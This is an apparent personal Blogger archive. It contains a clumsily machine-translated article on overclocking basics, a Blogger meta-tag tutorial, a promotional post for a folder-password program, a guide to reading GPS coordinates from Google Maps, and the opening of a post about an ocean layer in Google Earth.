<span class="" id="result_box" lang="en"><span title="Overclocking bukanlah sesuatu hal yang menakutkan, Anda hanya perlu mengetahui sedikit karakter dari sebuah periferal dan bagaimana cara mengoptimalkannya secara benar, itu saja.">Overclocking is not something that is scary, you just need to know a bit of a peripheral character and how to optimize it correctly, that's all. </span><span title="Semakin sering Anda berhadapan dengan hal tersebut & memecahkan permasalahan yang terjadi, maka overclocking sama mudahnya dengan menginstall software.">The more often you are dealing with this problem and solve the case, then overclocking is as easy as installing the software. </span><span title="Overclocking menurut kami adalah dampak dari adanya komputer di tengah-tengah kita.">Overclocking in our opinion is the impact of the computers in our midst. </span><span title="Karena komputer ada hacker, karena komputer juga ada overclocker.">Because there is a computer hacker, because there are also computer overclocker. </span><span title="Dengan cara & minat yang berbeda tapi dengan maksud sama, yaitu menggunakan komputer mereka lebih dari sekedar 'mesin hitung' atau 'mesin tik'.">Manner and different interests, but with the same purpose, namely to use their computers more than just 'counting </span></span><span class="" id="result_box" lang="en"><span title="Dengan cara & minat yang berbeda tapi dengan maksud sama, yaitu menggunakan komputer mereka lebih dari sekedar 'mesin hitung' atau 'mesin tik'.">machines' or 'typewriter'.</span><span title="Dalam artikel ini akan diuraikan mengenai pengenalan awal serta dasar-dasar optimalisasi komputer dan overclocking.">Will be described in this article regarding the early introduction and the basics of overclocking and computer optimization. </span><span title="Pembahasan yang kami uraikan disini berupa panduan langkah demi langkah yang wajib dilakukan untuk proses overclocking.">The discussion that we have described here a step by step guide that must be done for the overclocking. </span><span title="Untuk edisi 1 ini baru kami sampaikan tahapan pertama yaitu pengenalan dan analisa hardware yang paling berpengaruh untuk optimasi sistem dan overclocking (processor, display card, power supply, dan memory), secara singkat.">For this first edition of our new first stage to say that the introduction and analysis of the most influential hardware for system optimization and overclocking (processor, display card, power supply, and memory), in a nutshell. </span><span title="Untuk penjelasan lebih detail akan kami uraikan pada artikel khusus selanjutnya.">For more detailed explanation will be further described in a special article. </span><span title="(Panji)">(Flag)</span><span title="Agar mendapatkan hasil yang optimal, kita harus melewati tahap demi tahap proses overclocking secara benar.">In order to get optimal results, we have to go through step by step process of overclocking is correct. </span><span title="Namun saat kita melakukan optimalisasi dan overclocking, seringkali kita tidak sabar dan langsung berharap akan mendapatkan hasil istimewa dalam jangka waktu yang sesingkat mungkin.">But when we do optimizing and overclocking, we are often impatient and immediately expect to get excellent results in the shortest possible period of time. </span><span title="Kita tidak pernah mencoba mencermati tahapan-tahapan yang harus dilalui sebelum melakukan overclocking, karena sesungguhnya keseluruhan proses tersebut sangat berpengaruh besar terhadap hasil optimalisasi yang kita peroleh.">We never try to look at the stages that must be passed prior to overclocking, because the whole process is actually very big influence on the optimization results we obtain. </span><span title="Biasanya tanpa step-step yang jelas dan banyak berpikir, kita langsung saja masuk ke BIOS, menaikkan FSB (Front Side Bus), menaikkan voltase, utak atik sana sini untuk mencari settingan tercepat dan sebagainya.">Usually without a clear step-step and a lot of thinking, we go through the BIOS, increase the FSB (Front Side Bus), raising the voltage, there permutations here to find the fastest setting, and so on. </span><span title="Alhasil kinerja sistem bukannya meningkat namun justru kesetabilan yang menjadi korban.">As a result system performance rather than increased stability but it is a victim. </span><span title="Jikapun ada peningkatan hasilnya masih jauh dari harapan.">Even if no improvement results are still far from expectations. </span><span title="Efek yang ditimbulkan dari overclocking asal-asalan tersebut, komputer menjadi sering hang, restart, blue screen, dan timbul berbagai masalah lain semacamnya.">The effects of overclocking at random, the computer becomes frequent hangs, restart, blue screen, and other such problems arise. </span><span title="Sehingga banyak yang mengeluh bahkan menganggap overclocking adalah “momok” yang hanya membuat komputer menjadi tidak stabil, panas, dan gampang rusak.">So much to complain even think of overclocking is the "scourge" that just makes the computer becomes unstable, hot, and easily damaged. </span><span title="Sebetulnya proses optimalisasi komputer, terlebih overclocking itu harus melalui tahapan demi tahapan yang benar dan tidak asal-asalan agar hasil yang didapatkan memuaskan atau sesuai harapan.">Actually, a computer optimization process, even overclocking it to go through the steps necessary for the stage and not at random so that the results obtained are unsatisfactory or as expected. </span><span title="Karena dengan optimalisasi dan overclocking yang tepat dan benar, mampu membuat komputer dengan spesifikasi sangat tinggi sekalipun sanggup dikalahkan dengan mudah menggunakan komputer yang memiliki spesifikasi diatas kertas jauh berada dibawahnya.">Due to the optimization and overclocking right and true, could make computers even with a very high specification could easily be defeated by using a computer that has a lot on paper specs are below. </span><span title="Bukan hanya dikalahkan dalam hal kecepatan, namun juga dalam hal kestabilan dan kehandalan mengatasi aplikasi-aplikasi berat.">Not only was defeated in terms of speed, but also in terms of stability and reliability to overcome heavy applications. </span><span title="Dari sini kita mencoba memahami bahwa seni overclocking bukan hanya berusaha meningkatkan kinerja dan kecepatan saja, namun juga menjaga bahkan meningkatkan durabilitas atau kestabilan sistem.">From here we try to understand that the art of overclocking is not just trying to improve performance and speed, but also maintain or even increase the durability of the system stability. </span><span title="Untuk itu pada artikel kali ini kami berusaha memberikan panduan tahap demi tahap yang harus kita lakukan dalam proses optimalisasi dan overclocking, yaitu :">For the purpose in this article we try to give step by step guide we have to do in the process of optimizing and overclocking, namely:</span><span title="Dalam tahap ini kita berusaha memahami setiap komponen yang ada pada sistem kita, satu persatu kita pahami karakteristiknya, kemampuan optimal dan maksimalnya."> </span></span><br />
<span class="" id="result_box" lang="en"><span title="Dalam tahap ini kita berusaha memahami setiap komponen yang ada pada sistem kita, satu persatu kita pahami karakteristiknya, kemampuan optimal dan maksimalnya.">In this phase we try to understand every component available in our system, one by one we understand its characteristics, optimum and maximum capacity. </span><span title="Hal ini sebetulnya sangat penting bagi mereka yang hendak merakit sebuah sistem.">It is actually very important for those who want to assemble a system. </span><span title="Karena seperti telah diutarakan diatas, sistem dengan pemilihan hardware yang “tepat” dengan harga jauh lebih murah, mampu memiliki kinerja, dan kestabilan jauh diatas sistem dengan harga dua atau bahkan tiga kali lipat darinya.">Because as already stated above, the selection of hardware systems with the "right" with a much cheaper price, be able to have the performance and stability of the system at a price well above the two or even three times as much from him. </span><span title="Lalu bagaimana mungkin ini bisa terjadi ?">So how could this have happened? </span><span title="Ini semua tampak aneh, tapi ini bukan omong kosong, karena yang paling penting dari pemilihan komponen hardware adalah “keseimbangan” kinerja.">This all seems strange, but this is not nonsense, because the most important hardware component of the selection is "balance" of performance. </span><span title="Dalam arti sistem yang di bangun benar-benar mampu memberikan kinerja yang sesungguhnya.">In a sense the system is truly built to provide the actual performance. </span><span title="Apakah yang dimaksud dengan “kinerja sesungguhnya” ?">What is an "actual performance"? </span><span title="Yah ini adalah kinerja hardware optimal, karena label, kemasan, dan seri suatu produk belum tentu menggambarkan kinerja optimalnya.">Well this is the optimal hardware performance, because labeling, packing, and series of a product is not necessarily describe the optimal performance. </span><span title="Baik itu processor, display card, memory, dan sebagainya, semua tidak dapat kita bandingkan kinerja optimalnya hanya dari “nama, label, dan typenya”.">Whether it's processor, display card, memory, and so on, all we can not simply compare the optimal performance of "name, label, and typenya". </span><span title="Karena semakin baru keluaran barangnya, semakin tinggi angkanya, dan semakin besar serinya, belum tentu itu menggambarkan kemampuannya yang semakin besar.">Because the output of new goods, the higher the number, and the larger series, it's not necessarily a greater ability to describe. </span><span title="Lalu bagaimana kita bisa mengetahui kinerja 'optimal', atau kinerja sesungguhnya ?">Then how can we know the performance of 'optimal', or the actual performance? </span><span title="Berikut ini akan kami berikan gambaran awal untuk memahaminya :">Following this initial overview will be given to understand:</span><span title="PROCESSOR:">PROCESSOR:</span><span title="-CORE adalah die dari processor, masing masing seri memiliki code name tersendiri."> </span></span><br />
<span class="" id="result_box" lang="en"><span title="-CORE adalah die dari processor, masing masing seri memiliki code name tersendiri.">-CORE is a die of the processor, each series has its own code name. </span><span title="Dengan mengenal code core processor, kita dapat mengenali type processor, FSB, ukuran cachenya, teknologinya, dan informasi penting lainnya.">By knowing the processor core code, we can recognize the type of processor, FSB, its cache size, technology, and other important information. </span><span title="Untuk itu, agar kita bisa lebih memahami dan lebih mengenal tentang processor, mari kita berbicara soal core dan code corenya, jangan pernah lagi terjebak pada penamaan resmi dari produsen processor.">To that end, so that we can better understand and get to know about the processor, let's talk about the core and code corenya, never again get caught up in the official naming of the processor manufacturer. </span><span title="Penamaan seri dari pihak produsen belum tentu menunjukkan kinerja dan potensi sesungguhnya, bahkan cenderung membingungkan dan menjebak.">The naming of the series of the producer does not necessarily indicate actual performance and potential, and even tends to confuse and trap. </span><span title="Dengan pemahaman code name core kita akan lebih jeli menentukan processor mana yang terbaik dan memiliki potensi overclocking terbesar.">By understanding the code name we will be more observant core processor to determine which is best and has the greatest potential for overclocking. </span><span title="Sebagai contoh : FX 60 memiliki jenis core yang sama dengan X2 4400+ (Toledo) padahal harga yang ditawarkan dua kali lipat lebih mahal, dan tentu masih sangat banyak contoh-contoh lainnya.">For example: FX 60 has the same type of core X2 4400 + (Toledo) when the price offered is more than twice as expensive, and of course still very many other examples. </span><span title="Dengan pengenalan core kita dapat banyak menghemat biaya karena mendapatkan barang yang jauh lebih murah dengan kinerja tidak jauh berbeda.">With the introduction of the core we can save money because a lot of stuff that's cheap compared to the performance is not much different.</span><span title="-CLOCK Processor seringkali membingungkan kita, untuk itu jangan pernah menilai kinerja processor dari clock (Ghz / Mhz) speednya."> </span></span><br />
<span class="" id="result_box" lang="en"><span title="-CLOCK Processor seringkali membingungkan kita, untuk itu jangan pernah menilai kinerja processor dari clock (Ghz / Mhz) speednya.">Processor-CLOCK often confuses us, for that you should never judge the performance of the processor clock (GHz / MHz) speednya. </span><span title="Sering kita terjebak dengan angka clock “GHz / Mhz” dari processor.">Often we are stuck with a clock rate "GHz / MHz" of the processor. </span><span title="Namun sebetulnya hal itu sangat-sangat salah, dan sangat-sangat tidak relevan lagi untuk kita jadikan patokan kinerja.">But actually it's very, very wrong, and very, very not relevant anymore to make our performance benchmarks. </span><span title="Sebagai contoh, beberapa orang kebingungan dengan processor keluaran lama dengan clock 3000Mhz / 3Ghz, tapi kenapa justru processor baru-baru sekarang hanya memiliki clock yang lebih rendah (1.8Ghz, 2.4Ghz).">For example, some people are confused with an older processor with a clock 3000Mhz / 3GHz, but why it is now processor only recently has a lower clock (1.8GHz, 2.4Ghz). </span><span title="Lebih parahnya lagi, kadang beberapa orang justru menganggap hal ini sebagai penipuan.">Even worse, sometimes some people just consider this as fraud. </span><span title="Mungkin untuk jaman Pentium I, Pentium II, Pentium III, AMD K6 , dan processor-processor sebelumnya, kecepatan clock masih bisa dijadikan patokan, tapi sekarang tidak bisa lagi.">Possible to the time of the Pentium I, Pentium II, Pentium III, AMD K6, and earlier processors, clock speeds can still be used as a benchmark, but now can not anymore. </span><span title="Hal inilah yang semakin memusingkan 'end-user' karena kinerja processor yang semakin samar dan tidak jelas, karena penamaan seri yang sangat beraneka ragam dan tidak mudah dipahami.">This is an increasingly dizzying 'end-user' for the performance of the processor is vague and unclear, because the naming series that is very diverse and not easily understood. </span><span title="Hal ini dikarenakan Intel juga mulai menggunakan patokan kinerja, tidak lagi berdasarkan clock, yang sebelumnya telah dipelopori AMD.">This is because Intel has also begun using a benchmark of performance, is no longer based on the clock, which had been pioneered AMD. </span><span title="Tentu anda masih ingat saat Athlon XP 1700+ dengan clock 1463Mhz.">Of course you still remember the Athlon XP 1700 + with a clock 1463Mhz. </span><span title="Hal ini akan kita bahas lagi lebih dalam pada edisi khusus processor.">This will be discussed again later in this special issue processor. </span><span title="Namun untuk memudahkan anda, sebagai patokan kasar dan gampang, jika kita hendak membeli processor, sebaiknya kita mencari clock yang “terendah” dengan teknologi atau type processor yang “terbaru”.">But for your convenience, a benchmark crude and simple, if we want to buy a processor, the clock should we look for "low" or type of processor technology with the "latest". </span><span title="Biarpun clocknya tampak lebih rendah, bila itu merupakan type terbaru, pasti kinerja yang ditawarkan akan lebih menjanjikan untuk anda, dan dijamin anda tidak akan salah pilih, atau kecewa dengannya.">Even clocknya seem to be lower, if it is the newest type, the performance would be more promising to offer to you, and you are not guaranteed to be the wrong choice, or disappointed with it.</span><span title="-CODE seri processor, atau batch code produksi processor, kadang juga menjadi sangat penting untuk mendeteksi seri 'Gold-Batch' dari type processor tertentu."> </span></span><br />
<span class="" id="result_box" lang="en"><span title="-CODE seri processor, atau batch code produksi processor, kadang juga menjadi sangat penting untuk mendeteksi seri 'Gold-Batch' dari type processor tertentu.">CODE-series processor, or processor production batch code, sometimes it becomes very important to detect the series 'Gold-Batch' of a particular processor type. </span><span title="Karena kualitas processor untuk type dan seri yang sama bisa beragam.">Because the processor to type and quality of the same series can be varied. </span><span title="Lalu apa itu ‘Gold-Batch’?">So what is a 'Gold-Batch'? </span><span title="Penjelasan sederhananya begini, ratusan keping processor dengan teknologi yang sama, meskipun seri kecepatannya berbeda, dicetak dalam satu tempat cetakan yang sama yaitu “wafer” (wafer adalah lempengan bundar sebagai tempat cetakan processor).">This simple explanation, hundreds of pieces of the processor with the same technology, although its speed is different series, printed in one place the same mold as "wafer" (wafer is a circular plate as a mold processor). </span><span title="Disini processor yang berada di posisi tengah wafer tersebut diyakini cenderung memiliki kemampuan lebih tinggi, karena akurasi fokus sinar proyeksi ke silikon lebih tepat pada bagian tengah wafer tersebut.">Here processors are in the middle position the wafer is believed likely to have higher capacity, because the accuracy of the projection beam to the silicon focus more precisely on the center of the wafer. </span><span title="Dari prosessor yang dihasilkan tersebut dilakukan pengujian awal, dan biasanya selisih kinerja dari pengujian itu dibuat jenjang variasi kecepatan processor di pasaran.">Of the processor that generated the initial testing, and usually the difference in the performance of the test was made level variations in processor speeds on the market. </span><span title="Sehingga, processor dengan kecepatan berbeda bisa saja dia berada pada cetakan yang sama.">Thus, different processor speeds could he be in the same mold. </span><span title="Untuk itu selisih kinerja “optimalnya” sesungguhnya sama juga, hanya saja pada lempeng PCB processor diberikan “FID” atau pengatur untuk menentukan clock speed yang dia jalankan pada kondisi standard.">For the difference in the performance of "optimal" is actually the same as well, just on a given processor PCB plate "FID" or the regulator to determine the clock speed that he was running at standard conditions. </span><span title="Kadang pada awal-awal produksi suatu type processor baru, satu lempeng wafer digunakan untuk satu seri yang sama, sehingga ada kemungkinan processor dengan kualitas tertinggi bisa dijual pada seri tersebut, dan seri-seri inilah yang code produksinya kemudian kita sebut “Gold-Batch”">Sometime early in the production of a new processor type, one plate wafer used for a series of the same, so it is possible processor with the highest quality can be sold on the series, and series production code then this is what we call the "Gold-Batch" </span><span title=".">. </span><span title="Untuk mencari processor mana yg berada di posisi itu, ada batch code tertentu yang dapat ditelusuri, processor-processor pilihan dengan code-code istimewa tersebut yang biasa dicari oleh para overclocker.">To find a processor who are in a position where it is, there is a specific batch code that can be traced, processors, code-code option is the usual privileges sought by the overclocker. </span><span title="Istilah 'Gold-Batch' ini hanya untuk mempermudah menginisiali processor-processor tersebut.">The term 'Gold-Batch' is only to facilitate menginisiali these processors. </span><span title="Setelah mengenal type dan batch CPU, anda perlu mengetahui dan mengenal batas maksimum kecepatan yang bisa dilampaui oleh CPU anda tersebut.">After identifying the type and batch CPU, you need to know and recognize that the speed limit could be exceeded by your CPU is.</span></span>ridwan baihaqihttp://www.blogger.com/profile/06188834197555634085noreply@blogger.com0tag:blogger.com,1999:blog-872526658971900970.post-48357505449231001292011-09-20T00:28:00.000-07:002011-09-20T00:29:55.745-07:00How To Install Meta Tag In Blogger<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKgVLcAavZWh75-a-yCABMNCLqaH4xWpjYH0zP9QaO7FjnTqaBFajnMG-DAlyuB6gP8YsZ94yHIyidS5gzAM5mWbr4EaCv7VK9X4eCJ_CoOb2w48tnfQwSnoPCudvecWt1v_ALeSIh56g/s1600/meta+tag.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="258" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKgVLcAavZWh75-a-yCABMNCLqaH4xWpjYH0zP9QaO7FjnTqaBFajnMG-DAlyuB6gP8YsZ94yHIyidS5gzAM5mWbr4EaCv7VK9X4eCJ_CoOb2w48tnfQwSnoPCudvecWt1v_ALeSIh56g/s320/meta+tag.jpg" width="320" /></a></div><div style="text-align: justify;"></div><div style="text-align: justify;">What is thankfully pairs of Meta Tags??<br />
<br />
Meta Tags are <span class="IL_AD" id="IL_AD2">keywords<span class="IL_AD_ICON"></span></span> entered into the template of our <span class="IL_AD" id="IL_AD5">blog<span class="IL_AD_ICON"></span></span>. This <span class="IL_AD" id="IL_AD8">keyword<span class="IL_AD_ICON"></span></span> is associated with a search engine / search engines, because the Meta keyword tag will be displayed in the search engine / search engines. The selection of keywords is not arbitrary. So choose the keywords that actually sought.<br />
<a name='more'></a><br />
<br />
<span class="IL_AD" id="IL_AD7">Meta Tag<span class="IL_AD_ICON"></span></span> code in the template are usually like this script:<br />
<br />
<span style="font-weight: bold;"><meta content="KEYWORD1, KEYWORD2, Keyword3 ,....." name="description"></span><br />
<span style="font-weight: bold;"><meta content="KEYWORD1, KEYWORD2, Keyword3 ,....." name="keywords"></span><br />
<span style="font-weight: bold;"><meta content="INDEX, FOLLOW" name="ROBOTS"></span><br />
<br />
Description:<span id="fullpost"><br />
<br />
1. Meta Description<br />
<br />
Description of this blog serves as the <span class="IL_AD" id="IL_AD10">information<span class="IL_AD_ICON"></span></span> content of our <span class="IL_AD" id="IL_AD1">blog to<span class="IL_AD_ICON"></span></span> appear on search engines. <span class="IL_AD" id="IL_AD9">How to install<span class="IL_AD_ICON"></span></span> just put the words match the content of your blog with a comma as a barrier words. Example: Blog Tutorial, Tips and Triks Blogspot, Widgets, Free Templates, <span class="IL_AD" id="IL_AD6">Adsense<span class="IL_AD_ICON"></span></span><br />
<br />
2. Meta Keyword<br />
<br />
This keyword as keywords will be our blog on the data by search engines. Fill out the important words that relate to our blog.<br />
Example: Blogger Guide, Blogger Hack, Free Template<br />
<br />
3. Robots Meta Tags<br />
<br />
The main purpose of the use of a robots meta tag is to determine which web pages can be indexed by a spider and web pages which do not. This tag is very useful especially if something website uses frames for navigation. Surely we do not want to display <span class="IL_AD" id="IL_AD3">the menus<span class="IL_AD_ICON"></span></span> in the frame to be read by search engines.<br />
<br />
<br />
<br />
How to install the Meta tags:<br />
<br />
1. Log into your blogger account<br />
2. Select Layout ---> <span class="IL_AD" id="IL_AD11">Edit<span class="IL_AD_ICON"></span></span> HTML<br />
3. Search code <span style="color: red;"><title><data:blog.pagetitle/></title></span><br />
4. please put the code Below Meta Tags <span style="color: red;"><title><data:blog.pagetitle/></title></span><br />
<br />
5. Examples like the following:<br />
<br />
<span style="font-weight: bold;"><title><data:blog.pagetitle/></title></span><br />
<span style="font-weight: bold;"><meta content='Blog Tutorial, Tips dan triks blogspot, widgets, free template, adsense' name='description'/></span><br />
<span style="font-weight: bold;"><meta content='Panduan Blogger, Blogger Hack, free template' name='keywords'/></span><br />
<span style="font-weight: bold;"><meta content='INDEX, FOLLOW' name='ROBOTS'/></span></span></div>ridwan baihaqihttp://www.blogger.com/profile/06188834197555634085noreply@blogger.com0tag:blogger.com,1999:blog-872526658971900970.post-3167718330948054182011-09-15T23:12:00.000-07:002011-09-15T23:12:00.531-07:00How to Lock Folder in Windows<h2 id="top">How to lock a folder with a password</h2>Folder Password Protect is a software program that allows you to set a password for folders of your choice. It supports the following operating systems:<br />
<ul><li>Windows 7</li>
<li>Windows Vista </li>
<li>Windows XP Home and Professional</li>
<li>Windows 98</li>
<li>Windows NT</li>
<li>Windows 2000</li>
<li>Windows ME<a name='more'></a></li>
</ul><h3>Free download</h3>This download is a trial version. Feel how easy it is to protect your sensitive data. Click here to <a href="http://www.protect-folders.com/download/protect-folders.exe">download Folder Password Protect</a>.<br />
You can buy the full version and evaluate it for a year risk-free with a money-back guarantee.<br />
<h3>How to install Folder Password Protect</h3>When the download is completed, double-click <a href="http://www.protect-folders.com/download/folder-protect.exe">the folder-protect.exe file</a> and follow on-screen step-by-step instructions.<br />
<h3>Is the program easy to use? How to password protect a folder</h3>Folder Password Protect is user friendly. To run the wizard, click the Start button in the lower left-hand corner of your screen and select All Programs > Folder Password Protect > Folder Password Protect. The wizard will guide you through easy steps for locking folders with a password.<br />
Alternatively, you can lock folders from Windows Explorer. To lock a folder, just right-click it in Windows Explorer and select the Protect Now option from the right-click menu. To unlock a protected folder, double-click it in the right pane of Windows Explorer and enter the password.<br />
<h3>What makes Folder Password Protect better than built-in security of Windows 7 and Windows Vista?</h3>With Folder Password Protect you don't have to create separate user accounts on your PC. You do not have to use the NTFS file system. You use the program to set passwords on the folders of your choice. Folder Password Protect can lock folders on both NTFS and FAT32 volumes.<br />
Moreover, you can password protect folders not only on your internal hard drive, but on a USB flash drive or a network drive as well.<br />
<h3>How to buy the full version</h3>You can order the full version of Folder Password Protect right now. Online registration is completely secure. All the data you enter into the registration form is encrypted.<br />
Immediate delivery by e-mail. Get reliable folder protection now.<br />
<table border="0" cellpadding="0" cellspacing="0" class="tablebody"><tbody>
<tr> <td width="210"><img alt="Folder Password Protect - Screenshot" height="117" src="http://www.protect-folders.com/pics/scr-block.gif" width="164" /></td> <td><b>Here's what you get:<br />
</b> <img height="9" src="http://www.protect-folders.com/pics/bullet.gif" width="8" />The full version.<br />
<img height="9" src="http://www.protect-folders.com/pics/bullet.gif" width="8" />License that never expires.<br />
<img height="9" src="http://www.protect-folders.com/pics/bullet.gif" width="8" />Free priority customer support.<br />
<img height="9" src="http://www.protect-folders.com/pics/bullet.gif" width="8" />Free upgrades.<br />
<img height="9" src="http://www.protect-folders.com/pics/bullet.gif" width="8" />One-year money-back guarantee.<br />
<br />
<a href="https://secure.payproglobal.com//orderpage.aspx?products=44707"><img border="0" height="25" src="http://www.protect-folders.com/pics/buy-button.gif" width="164" /></a> <br />
<br />
</td></tr>
</tbody></table>If you have any questions or comments about protecting folders, feel free to contact us at <a href="mailto:support@protect-folders.com">support@protect-folders.com.</a>ridwan baihaqihttp://www.blogger.com/profile/06188834197555634085noreply@blogger.com0tag:blogger.com,1999:blog-872526658971900970.post-41141885231489766492011-09-14T04:08:00.000-07:002011-09-14T04:08:33.024-07:00How to Find your GPS Location with GoogleThe Access Grid Node Listing lets one specify GPS coordinates of an Access Grid. These show up as a link to an appropriately centred Google Map. In future, GPS coordinates can be used for inferring time zones, drawing maps of world-wide Access Grid usage, etc. As we encourage all node listings to have accurate GPS coordinates, here's a guide to finding yours ... If you are already familiar with Google Maps and how to find your location at maximum zoom, skip to the final paragraphs of this document. Otherwise, open a web browser and go to Google Maps at the URL listed in the image below see label (1), <a href="http://maps.google.com/">http://maps.google.com</a>. Google being a search engine, the simplest way of locating your city is to enter a "city, country" in the search box (2). Alternatively, you can self-navigate: Zoom in/out using the vertical slider adjacent to (3). Pan the image left-right-up-down, either using the buttons above (3) or by "clicking and holding" the left mouse button followed by mouse movement in the desired direction Before proceeding, press the "hybrid" button (4), requesting a combination of satellite imagery and local GIS data (roads, labels, etc.).<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjb_E_lrZPdTuT8QXQmhwM9slfbMe7vommZLkOSkF6wFA_hdF1JhI54xX0AJeH_UjTc8Es8_QK0s8V1wZG_ltBKbqmQax8rJOpfXgCuvzvGJyWQb3DmErF2318O7atw-jOQMpU9u6-9CSk/s1600/gps1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="213" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjb_E_lrZPdTuT8QXQmhwM9slfbMe7vommZLkOSkF6wFA_hdF1JhI54xX0AJeH_UjTc8Es8_QK0s8V1wZG_ltBKbqmQax8rJOpfXgCuvzvGJyWQb3DmErF2318O7atw-jOQMpU9u6-9CSk/s320/gps1.jpg" width="320" /></a></div><a name='more'></a><br />
The author's node is located in Canberra, Australia. Entering this into the text entry box and pressing "Search" (5) immediately locates us above the Australian capital's core.<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrk-kf3ZRfCL5YTV7jNeYIzzz1T6GJGfLVWHVNoANOmp5-5XoaJHvwPYjIH7hJ4Ua12e1FYogZP3AZ5pZHABMyDWUL1VMKrd1riFxIyrqgf9Ih0zEl_PBV4xOrlPIRu4t1gOmpW1G_j3U/s1600/gps2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrk-kf3ZRfCL5YTV7jNeYIzzz1T6GJGfLVWHVNoANOmp5-5XoaJHvwPYjIH7hJ4Ua12e1FYogZP3AZ5pZHABMyDWUL1VMKrd1riFxIyrqgf9Ih0zEl_PBV4xOrlPIRu4t1gOmpW1G_j3U/s320/gps2.jpg" width="320" /></a></div> If you don't see any imagery, confirm that the viewer is in "hybrid" mode (6). If the search doesn't work for your city, country, or the area of interest is "off-screen", use the self-navigation tools listed above (8) to position Google Maps above your locale. In our case, it's now possible to see the Australian National University (7) on the shores of Canberra's man-made lake. We zoom in to the maximum level (9), panning as necessary with "left click and move", before finally double-clicking on our node's exact location.<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhas6zoLTuYWkhLSlH2E8AV0vqCu15np-iGF_sFGdDNrC9hlAFoeyf5SaeeFvFGQiB5tEOd06t4dgCi2Z4c9yD7-rBz0JE1v6K03YsKu6FhircJYkjobIcCKU5kx-6ByG5VjgHSyK4HoCI/s1600/gps3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhas6zoLTuYWkhLSlH2E8AV0vqCu15np-iGF_sFGdDNrC9hlAFoeyf5SaeeFvFGQiB5tEOd06t4dgCi2Z4c9yD7-rBz0JE1v6K03YsKu6FhircJYkjobIcCKU5kx-6ByG5VjgHSyK4HoCI/s320/gps3.jpg" width="320" /></a></div><br />
With our Access Grid location thus centred, it's time to extract the coordinates. If we select "link to this page" (10), the URL at top (11) changes to reflect our current location and zoom level. Extracting GPS Coordinates <br />
http://maps.google.com/maps?ll=<strong>-35.283130,149.113580</strong>&spn=0.005025,0.008500&t=h<br />
The desired GPS coordinates are embedded in the URL in "latitude,longitude" format. For the example above the latitude is <strong>-35.283130 </strong>and the longitude is <strong>149.113580.</strong><br />
<strong> </strong>Ignore the other values, simply copy/paste the coordinates into your node listing's edit form where is asks for latitude and longitude, the below example is from the SMSCS Computer Science, New Zealand Node.<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5UGwODa_hwGogIIanIJRgpJfi3-l-zKwNLM491eockcP6vXQnsdhxpDYEQpQqXbzSDj59d1BBEslaBfTmpDxNxuJMXN-9FpEyD21-9-IG_az9vaKR5YZKRplwsRA4bXnkqUBFsGlMnEI/s1600/NodeEditLat+and+Long.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="88" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5UGwODa_hwGogIIanIJRgpJfi3-l-zKwNLM491eockcP6vXQnsdhxpDYEQpQqXbzSDj59d1BBEslaBfTmpDxNxuJMXN-9FpEyD21-9-IG_az9vaKR5YZKRplwsRA4bXnkqUBFsGlMnEI/s320/NodeEditLat+and+Long.png" width="320" /></a></div><br />
It's a simple as that. <br />
<strong>Note:</strong> the latitude and longitude may appear after a long string of characters in the url. Look for the following part of the url "<strong>ll=</strong>"the lat and long should be the next set of numbers.<br />
<br />
<a href="http://www.accessgrid.org/node/767">SOURCE</a>ridwan baihaqihttp://www.blogger.com/profile/06188834197555634085noreply@blogger.com0tag:blogger.com,1999:blog-872526658971900970.post-19452339683995535202011-09-13T20:05:00.000-07:002011-09-13T20:05:54.056-07:00Google's Digital Activism<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-QzLWi3iBgfSvkYOmDWgc-O1tcQRpN-mYjbpZvZAoKLa3R2XMQVq72b5XJkEXlAzeeS86AaEGqCfoOnJM2JI89Szml7cf68ZBhyphenhyphen51f-Jk4WVLbAP3usNSPTNcQ9ge8YnUu26o-R1eKZE/s1600/google.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="296" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-QzLWi3iBgfSvkYOmDWgc-O1tcQRpN-mYjbpZvZAoKLa3R2XMQVq72b5XJkEXlAzeeS86AaEGqCfoOnJM2JI89Szml7cf68ZBhyphenhyphen51f-Jk4WVLbAP3usNSPTNcQ9ge8YnUu26o-R1eKZE/s320/google.jpg" width="320" /></a></div><br />
It's an odd story in a way. One day a Texas gal from a ranching family falls in love with the ocean. She loves being in the water and the underwater world, and she has a life-changing 45-minute underwater encounter with a Cephalopod about the size of her thumb. Octopi are Cephalopods and scientists think they could be smarter than we are; some fringy researchers believe Cephalopods might be aliens from outer space or divine beings. Anyway, if you're going to hang around with a Cephalopod for 45 minutes, you're probably going to have what the Texan called "a seminal moment." It changed her life.<br />
Over a span of thirty-five years, her above- water and underwater journey has taken her from the Texas Panhandle to Micronesia to Polynesia and the Caribbean, to work on coastal management, economic development, and research. Now she is a digital activist working to save our seas. Her name is Charlotte Vick, and she's the curator of the <em>Explore the Ocean</em> layer in Google Earth.<br />
<a name='more'></a><br />
<br />
